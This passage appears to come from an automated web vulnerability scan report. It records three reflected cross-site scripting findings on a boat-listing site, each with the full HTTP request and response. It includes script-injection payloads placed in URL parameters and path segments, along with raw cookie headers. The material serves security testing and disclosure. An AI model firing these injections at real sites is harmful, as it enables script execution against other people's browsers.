5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
3.164. http://www.yachtworld.com/boats/2008/Regulator-32-Fs-2203131/Port-Clinton/OH/United-States [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b8b36"><script>alert(1)</script>7cb42153422 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2008/Regulator-32-Fs-2203131/Port-Clinton/OH/United-States?b8b36"><script>alert(1)</script>7cb42153422=1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:02:45 GMT Server: Apache Cache-Control: private If-Modified-Since: Thu, 20 Jan 2011 19:08:49 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2203131%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B188%2C900%5B%25%5DPort+Clinton%2C+OH%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F0%2F3%2F1%2F2203131_13_mini.jpg%3F1282073289000%5B%25%5D%2Fboats%2F2008%2FRegulator-32-FS-2203131%2FPort-Clinton%2FOH%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:02:44 GMT Set-Cookie: VIEWED_BOATS_STORE=2203131%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B188%2C900%5B%25%5DPort+Clinton%2C+OH%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F0%2F3%2F1%2F2203131_13_mini.jpg%3F1282073289000%5B%25%5D%2Fboats%2F2008%2FRegulator-32-FS-2203131%2FPort-Clinton%2FOH%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 66639"><script>alert(1)</script>97f8e09c392 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2008/Regulator-32-Fs-2272100/Hampton66639"><script>alert(1)</script>97f8e09c392/VA/United-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:04:07 GMT Server: Apache Cache-Control: private If-Modified-Since: Thu, 18 Nov 2010 20:30:49 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2272100%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B169%2C000%5B%25%5DHampton%2C+VA%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F7%2F2%2F1%2F2272100_1_mini.jpg%3F1286375575000%5B%25%5D%2Fboats%2F2008%2FRegulator-32-FS-2272100%2FHampton%2FVA%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:04:06 GMT Set-Cookie: VIEWED_BOATS_STORE=2272100%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B169%2C000%5B%25%5DHampton%2C+VA%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F7%2F2%2F1%2F2272100_1_mini.jpg%3F1286375575000%5B%25%5D%2Fboats%2F2008%2FRegulator-32-FS-2272100%2FHampton%2FVA%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 23553"><script>alert(1)</script>dd7c4f7507a was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2008/Regulator-32-Fs-2272100/Hampton/VA23553"><script>alert(1)</script>dd7c4f7507a/United-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:04:38 GMT Server: Apache Cache-Control: private If-Modified-Since: Thu, 18 Nov 2010 20:30:49 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2272100%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B169%2C000%5B%25%5DHampton%2C+VA%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F7%2F2%2F1%2F2272100_1_mini.jpg%3F1286375575000%5B%25%5D%2Fboats%2F2008%2FRegulator-32-FS-2272100%2FHampton%2FVA%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:04:37 GMT Set-Cookie: 